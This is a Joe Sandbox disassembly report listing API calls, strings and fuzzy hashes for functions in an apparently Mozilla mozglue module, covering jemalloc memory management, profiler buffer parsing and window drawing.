EnableNonClientDpiScaling, xrefs: 6C9A5666
LoadIconW, xrefs: 6C9A575B
GetMonitorInfoW, xrefs: 6C9A57A2
CreateSolidBrush, xrefs: 6C9A57E4
GetDpiForWindow, xrefs: 6C9A5690
AreDpiAwarenessContextsEqual, xrefs: 6C9A5637
SetWindowLongPtrW, xrefs: 6C9A57B7
FillRect, xrefs: 6C9A5729
user32, xrefs: 6C9A5601
GetSystemMetricsForDpi, xrefs: 6C9A5677
RegisterClassW, xrefs: 6C9A56AC
GetThreadDpiAwarenessContext, xrefs: 6C9A562D
gdi32, xrefs: 6C9A560A
DeleteObject, xrefs: 6C9A57F9
MonitorFromWindow, xrefs: 6C9A578D
ShowWindow, xrefs: 6C9A56DE
GetWindowDC, xrefs: 6C9A5710
StretchDIBits, xrefs: 6C9A57CC
SetWindowPos, xrefs: 6C9A56F7
CreateWindowExW, xrefs: 6C9A56C5
LoadCursorW, xrefs: 6C9A5774
ReleaseDC, xrefs: 6C9A5742

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 685b86cfb03f918b29ad5136d3b4e6cdb94b0acb49228935a881c204c745e9b1
Instruction ID: f433c7c11b295067e5efa8c9844e4654b1e7d42f387b5c62453cc415c3dd3a04
Opcode Fuzzy Hash: 685b86cfb03f918b29ad5136d3b4e6cdb94b0acb49228935a881c204c745e9b1
Instruction Fuzzy Hash: E951A474709B46ABEB009F79CD4893A3AFCBB476497304469E911E3A51EF74CA01CFA1

Function 6C9A34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3EE2

Part of subcall function 6C9A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9A61DD
Part of subcall function 6C9A6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9A622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4157

Part of subcall function 6C9A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6250
Part of subcall function 6C9A6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4896
free.MOZGLUE ref: 6C9A489F

Strings

, xrefs: 6C9A4CD2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8fad99b963a11065199d2a7bc71fd8c73912382f1a113ff929b6e56fbdcc98b5
Instruction ID: 952b395e2d8e97c2632398ded9dcab92ff12587bce95a0ee4973b084aed4a358
Opcode Fuzzy Hash: 8fad99b963a11065199d2a7bc71fd8c73912382f1a113ff929b6e56fbdcc98b5
Instruction Fuzzy Hash: A3F23A74908B808FC725CF28C08469AFBF1FF99358F218A5ED99997711DB31D896CB42

Function 6C9564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C956505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C956518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C95652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C95671C
GetCurrentProcess.KERNEL32 ref: 6C956724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C95672F
GetCurrentProcess.KERNEL32 ref: 6C956759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C956764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C956A80
GetSystemInfo.KERNEL32(?), ref: 6C956ABE
__Init_thread_footer.LIBCMT ref: 6C956AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C956AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C956AF7

Strings

user32.dll, xrefs: 6C956526
nvd3d9wrap.dll, xrefs: 6C956500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C956798
detoured.dll, xrefs: 6C9564DA
nvdxgiwrap.dll, xrefs: 6C956513
_etoured.dll, xrefs: 6C9564ED

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: eca7f5c34d3f726347515c88068b9042fbfb537ad3227ea041aa2ce7f7dad6f4
Instruction ID: 1edf78b3d2284bc31d30ac68e1de68f3e414ca8af520dde29d70f7b3ac25e094
Opcode Fuzzy Hash: eca7f5c34d3f726347515c88068b9042fbfb537ad3227ea041aa2ce7f7dad6f4
Instruction Fuzzy Hash: 5CF1E370A052199FDF20CF24CC88B9AB7B8AF56318F5442D9E809A7741E731EE94CF91

Function 6C9760A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9760C9
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C97610D
EnterCriticalSection.KERNEL32(?), ref: 6C97618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9761F9

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C976AAE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C976B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C976BC7, 6C976F97, 6C976FB2
<jemalloc>, xrefs: 6C976AA9, 6C976B59
MALLOC_OPTIONS, xrefs: 6C976888
MOZ_CRASH(), xrefs: 6C976AB8

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: cf982aa708b8e76d69c9f5b9c89f51fc1c70e8d1c212726d6f02fe5e0c6d5c98
Instruction ID: 924bd65a359b5410310f5bf186255895c35b3e3b4d484109b0d8681635bf4795
Opcode Fuzzy Hash: cf982aa708b8e76d69c9f5b9c89f51fc1c70e8d1c212726d6f02fe5e0c6d5c98
Instruction Fuzzy Hash: 90A2AD71A0A7018FD728CF18C440715BBF5BB86728F29C66DE86ADBB91D731E840CB91

Function 6C9AC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9AC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9AC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9AC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9ACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9ADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9ADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9ADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AE472

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: bae907e8810e927437c6c7f78ccc7c302c4d6353f053b524679a715debfd98c2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: AD339E72E0021ACFCB14CFA8C8806ADBBF2FF49314F294269D955AB755D731E946CB90

Function 6C95FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7B8), ref: 6C95FF81
LeaveCriticalSection.KERNEL32(6C9CE7B8), ref: 6C96022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C960240
EnterCriticalSection.KERNEL32(6C9CE768), ref: 6C96025B
LeaveCriticalSection.KERNEL32(6C9CE768), ref: 6C96027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95FE99, 6C95FEB7, 6C95FED3, 6C960DB8, 6C960DD3, 6C9619B4
<jemalloc>, xrefs: 6C960D62, 6C960D76, 6C960DA7
: (malloc) Error in VirtualFree(), xrefs: 6C960D67, 6C960D7B, 6C960DAC

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 5cd7faf76bd1ce32a64bc72841513282e34fd6058e03edb32bc20c543e5d79f2
Instruction ID: 36b72fc6d65562d8861e01759330aa918bcf7941eb41a7bc203146412913170b
Opcode Fuzzy Hash: 5cd7faf76bd1ce32a64bc72841513282e34fd6058e03edb32bc20c543e5d79f2
Instruction Fuzzy Hash: 6CC2E271A057418FE714CF29C480716BBE5BF86728F28C66DE4AA8BBD5C771E801CB85

Function 6C9AE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9AE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9AEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9AF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9B0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9B0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0ED4

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 1c581c26826090403fea634258d2bdb77dee780c4177da247c4bae1fef61fe86
Instruction ID: 2277473041272926a5a4c55c88c069f0ea3cf19ec64afde39ddea44df1b8cad7
Opcode Fuzzy Hash: 1c581c26826090403fea634258d2bdb77dee780c4177da247c4bae1fef61fe86
Instruction Fuzzy Hash: 2A637E71E0025ACFCB04CFA8C9905AEFBB2FF89314F298269D455BB755D730A946CB90

Function 6C983E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C983E7D,?,?,?,6C983E7D,?,?), ref: 6C9A777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C983F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C983F5C
VerSetConditionMask.NTDLL ref: 6C983F8D
VerSetConditionMask.NTDLL ref: 6C983F99
VerSetConditionMask.NTDLL ref: 6C983FA0
VerSetConditionMask.NTDLL ref: 6C983FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C983FB4

Strings

nvd3d9wrap.dll, xrefs: 6C984466
nvinit.dll, xrefs: 6C984479

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: ef4fe2b1cff894e6288d2536f3cf8b038ed1cea1ad95c32128bfef0773f420d6
Instruction ID: 1228db1dad64cae54524169822890682f4829700a1ed9c99709b07dc63a4acc6
Opcode Fuzzy Hash: ef4fe2b1cff894e6288d2536f3cf8b038ed1cea1ad95c32128bfef0773f420d6
Instruction Fuzzy Hash: BE521432614B889FD715DF34C8D0AAB77F9AF65208F44096DD4928BB82DB34F909CB60

Function 6C96ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C96EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C96EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C971695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9716B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C971770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C971A3E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 2df8e08ec20709b641492c9bd8957774f145f92253f4bc383111d1edf3d4b9c8
Instruction ID: 32a1d34e77d4df26c35e2dbdb49bdf28977eca3010ae7e5e3b1b5b0132b0615f
Opcode Fuzzy Hash: 2df8e08ec20709b641492c9bd8957774f145f92253f4bc383111d1edf3d4b9c8
Instruction Fuzzy Hash: 88B32A71E0121ACFDB24CFA9C890AADB7B2FF49304F1581A9D449AB745D731AD86CF90

Function 6C95FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7B8), ref: 6C95FF81
LeaveCriticalSection.KERNEL32(6C9CE7B8), ref: 6C96022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C960240
EnterCriticalSection.KERNEL32(6C9CE768), ref: 6C96025B
LeaveCriticalSection.KERNEL32(6C9CE768), ref: 6C96027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95FE99, 6C95FEB7, 6C95FED3, 6C960DB8, 6C960DD3, 6C9619B4, 6C961A10
MOZ_CRASH(), xrefs: 6C960CA7

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2186f2c65006664718a6730ec6c0e6480caf0b5a9235733fc1be898f501cb47c
Instruction ID: 081fc1dea1f9a391c0854fe5810ecc3061522587de9f5604ed241765f5b5e471
Opcode Fuzzy Hash: 2186f2c65006664718a6730ec6c0e6480caf0b5a9235733fc1be898f501cb47c
Instruction Fuzzy Hash: A4B2BC716057418FE718CF2AC5D0716BBE5AF86328F28C66CE86A8BBD5D770E840CB45

Function 6C995600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C995AC3
data, xrefs: 6C996131
expected a Time entry, xrefs: 6C995CB6
schema, xrefs: 6C99606D
ProfileBuffer parse error: %s, xrefs: 6C995AC8, 6C995CBB
name, xrefs: 6C995E79, 6C995E8F

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 677014fd94a68040626f1060a3df3cfc4f1bfa31cf286ad633d2dc99d947f503
Instruction ID: 7676ee2c398ce7bb0227e43bc74d7294063217171f5c471269d9313ffdcfd414
Opcode Fuzzy Hash: 677014fd94a68040626f1060a3df3cfc4f1bfa31cf286ad633d2dc99d947f503
Instruction Fuzzy Hash: F7925DB1A083418FD724CF28C49079BB7E1BFD9308F588A1DE5999B751DB30E949CB92

Function 6C992E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C992ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C992EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C992F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C993214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C993242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9936BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C99378D
set , xrefs: 6C9936EC
get , xrefs: 6C993205

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: de930a59368677595f02fa31670a2f3ad4981de6649b725f898cc76576c2ca0a
Instruction ID: 6e724b54cfe440e3238f8579c8b3edfe236c7591883e30181df41e4d3c4dabcb
Opcode Fuzzy Hash: de930a59368677595f02fa31670a2f3ad4981de6649b725f898cc76576c2ca0a
Instruction Fuzzy Hash: 8E325AB02083819FD724CF24C0806AEBBE6BFD9318F58891DE59987751DB31E94ACB53

Function 6C987E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C988280, 6C9883E1
schema, xrefs: 6C9881E3, 6C988311
(pre-xul), xrefs: 6C987E88
name, xrefs: 6C987ECF, 6C988335

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 96932ab6ed87353754e642798b4bbe06a88f17808399fea6459169f1681ffcc3
Instruction ID: 137fb366ab11bb3221873d8c9293cae5495d8747650c1118da7950c85f0ccca2
Opcode Fuzzy Hash: 96932ab6ed87353754e642798b4bbe06a88f17808399fea6459169f1681ffcc3
Instruction Fuzzy Hash: C2E18EB1B043408BC714CF68C84065BFBEABFA5318F548A2DE895E7791DB74DD098B92

Function 6C96D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D4F2
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D50B

Part of subcall function 6C94CFE0: EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
Part of subcall function 6C94CFE0: LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D52E
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D690
